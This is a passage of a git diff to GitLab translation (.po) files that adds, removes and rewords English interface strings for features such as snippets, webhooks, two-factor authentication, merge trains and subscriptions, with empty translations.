msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22296,12 +22931,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22359,6 +23003,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22488,10 +23135,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23388,6 +24035,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23436,6 +24086,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23448,6 +24101,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23627,6 +24283,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23694,9 +24356,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23733,14 +24392,11 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23767,6 +24423,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23797,6 +24456,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23851,6 +24513,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -23951,13 +24619,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -23996,6 +24664,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24113,6 +24784,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24188,12 +24862,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24206,6 +24883,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24356,19 +25036,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24392,6 +25072,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24422,7 +25105,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24596,9 +25279,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24761,15 +25441,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24830,6 +25510,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25201,9 +25884,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25288,9 +25968,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25312,9 +25998,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25375,6 +26058,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25519,6 +26205,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25588,9 +26277,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25606,10 +26304,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
+msgstr ""
+
+msgid "Two-factor authentication disabled"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25792,7 +26502,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -25882,6 +26592,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -25963,9 +26676,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -25981,7 +26691,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26056,7 +26766,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26146,9 +26856,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26200,9 +26907,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26446,9 +27150,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26482,6 +27192,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26518,6 +27231,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26560,6 +27276,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26760,6 +27482,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26823,9 +27548,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -26967,7 +27689,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27012,6 +27734,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27033,21 +27839,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27057,6 +27863,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27373,10 +28182,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27385,6 +28194,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27394,6 +28209,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27430,9 +28248,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27466,13 +28281,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27556,10 +28371,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27772,6 +28587,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27847,7 +28665,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -27964,6 +28782,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28091,6 +28912,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28392,12 +29216,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28551,6 +29369,10 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+
msgid "group"
msgstr ""
@@ -28596,9 +29418,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28639,6 +29458,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28787,9 +29609,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28802,6 +29630,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -28874,9 +29705,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -28910,12 +29738,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -28997,19 +29819,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29217,6 +30039,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29260,9 +30085,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29380,6 +30202,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29398,6 +30223,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29461,6 +30289,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/is_IS/gitlab.po b/locale/is_IS/gitlab.po
index c44cac32967..2c405448b0e 100644
--- a/locale/is_IS/gitlab.po
+++ b/locale/is_IS/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: is\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:38\n"
+"PO-Revision-Date: 2020-09-04 23:02\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -56,13 +56,13 @@ msgstr[1] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -71,6 +71,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,6 +300,9 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -416,7 +428,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -503,9 +515,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
